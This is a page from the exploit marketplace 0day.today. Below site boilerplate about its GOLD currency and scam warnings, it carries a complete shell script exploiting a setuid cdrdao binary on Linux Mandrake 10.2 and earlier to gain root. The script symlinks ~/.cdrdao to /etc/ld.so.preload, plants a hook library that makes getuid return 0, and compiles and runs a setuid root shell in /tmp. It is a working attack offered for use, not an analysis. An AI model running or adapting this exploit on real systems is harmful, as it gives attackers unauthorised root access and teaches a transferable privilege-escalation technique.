0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux Mandrake <= 10.2 cdrdao Local Root Exploit (unfixed)
[==========================================================
Linux Mandrake <= 10.2 cdrdao Local Root Exploit (unfixed)
==========================================================
#!/bin/sh
# cdrdao local root exploit
# newbug [at] chroot.org
# IRC: irc.chroot.org #chroot
# May 2005
echo "cdrdao private exploit"
echo "This exploit only for Mandrake series"
echo "newbug [at] chroot.org"
echo "May 2005"
echo "checking if cdrdao is setuid ...";
if [ ! -u /usr/bin/cdrdao ]; then
echo "[-] Failed";
exit
fi
echo "[+] done.";
echo "checking if /etc/ld.so.preload already exist ..."
if [ -f /etc/ld.so.preload ]; then
echo "[-] Failed."
exit
else
echo "[+] done."
fi
echo "checking if ~/.cdrdao already exist ..."
if [ -f ~/.cdrdao ]; then
rm -rf ~/.cdrdao
fi
echo "[+] done."
cd /tmp
echo "preparing hook library ..."
cat >ld.so.c<<EOF
#include <stdlib.h>
uid_t getuid()
{
return 0;
}
EOF
echo "[+] done."
echo "preparing shell program ..."
cat >sh.c <<EOF
#include <stdio.h>
#include <unistd.h>
int main(int argc,char **argv)
{
setreuid(0,0);
setgid(0);
unlink("/tmp/ld.so");
if(getuid())
{
printf("[-] Failed.\n");
unlink(argv[0]);
exit(0);
}
printf("[+] Congratulation, You win the game !!\n");
unlink("/etc/ld.so.preload");
execl("/bin/bash","bash",(char *)0);
return 0;
}
EOF
echo "[+] done."
echo "link .cdrdao ==> /etc/ld.so.preload ..."
ln -sf /etc/ld.so.preload ~/.cdrdao
echo "[+] done."
echo "compile hook library ..."
gcc -shared -o ld.so ld.so.c
echo "[+] done."
echo "compile shell program ..."
gcc -o sh sh.c
echo "[+] done."
umask 0
echo "run cdrdao ..."
cdrdao unlock --save >/dev/null 2>&1
echo "[+] done."
echo "checking if /etc/ld.so.preload created successful..."
if [ -f /etc/ld.so.preload ]; then
echo "[+] done."
else
echo "[-] Failed."
exit
fi
echo "/tmp/ld.so">/etc/ld.so.preload
rm -f /tmp/sh.c
rm -f /tmp/ld.so.c
su -c "chown root.root /tmp/sh;chmod 4755 /tmp/sh" >/dev/null 2>&1
echo "!@#\$@%#$%#$%!@%^"
/tmp/sh
# 0day.today [2024-07-07] #